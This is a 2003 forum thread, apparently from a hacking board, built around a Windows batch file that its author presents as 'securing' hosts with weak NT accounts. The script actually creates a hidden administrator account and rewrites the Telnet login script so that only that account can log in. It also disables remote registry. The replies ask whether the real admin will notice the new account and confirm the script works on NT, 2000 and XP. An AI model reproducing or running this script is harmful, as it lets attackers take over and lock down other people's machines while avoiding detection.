i want to write a short batch file to secure host taht have weak nt accounts. up to now i found the following registry keys, to turn off remote registry access and the automated admin shares.
in the bacth u would first kill the shares (c$-x$, ipc$, admin$) and then add the reg keys
net user /add %1 %2 net localgroup administrators %1 /add secedit.exe /configure /areas USER_RIGHTS /db C:\winnt\temp\temp.mdb /CFG temp
del %SystemRoot%\system32\login.cmd echo @echo off >> %SystemRoot%\system32\login.cmd echo rem >> %SystemRoot%\system32\login.cmd echo rem Default global login script for the Telnet Server >> %SystemRoot%\system32\login.cmd echo rem >> %SystemRoot%\system32\login.cmd echo rem In the default setup, this command script is executed when the >> %SystemRoot%\system32\login.cmd echo rem initial command shell is invoked. It, in turn, will try to invoke >> %SystemRoot%\system32\login.cmd echo rem the individual user's login script. >> %SystemRoot%\system32\login.cmd echo rem >> %SystemRoot%\system32\login.cmd
echo if %%USERNAME%%==%1 goto good >> %SystemRoot%\system32\login.cmd echo exit >> %SystemRoot%\system32\login.cmd echo :good >> %SystemRoot%\system32\login.cmd
echo echo *=============================================================== >> %SystemRoot%\system32\login.cmd echo echo Welcome to Microsoft Telnet Server. >> %SystemRoot%\system32\login.cmd echo echo *=============================================================== >> %SystemRoot%\system32\login.cmd
echo cd %%HOMEDRIVE%%%HOMEPATH%% /d >> %SystemRoot%\system32\login.cmd del temp
del root.reg echo REGEDIT4 >> root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RemoteRegistry\] >> root.reg echo "Start"=dword:00000003 >> root.reg regedit /S root.reg net stop RemoteRegistry del root.reg
=k3Rn=
Sep 28 2003, 02:58 AM
yea i know that batch file. first question, does it only work on win2k systems or also on win xp? and second, it creats a new admin account - won't the admin / user of the computer see that ?
hermel
Oct 14 2003, 08:00 AM
The batch file works on NT, W2K and XP.
You can add a new user with:
CODE
net user hermel myPW /add net localgroup Administrators hermel /add
But the Admin can see that a new User with Adminrights is there.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.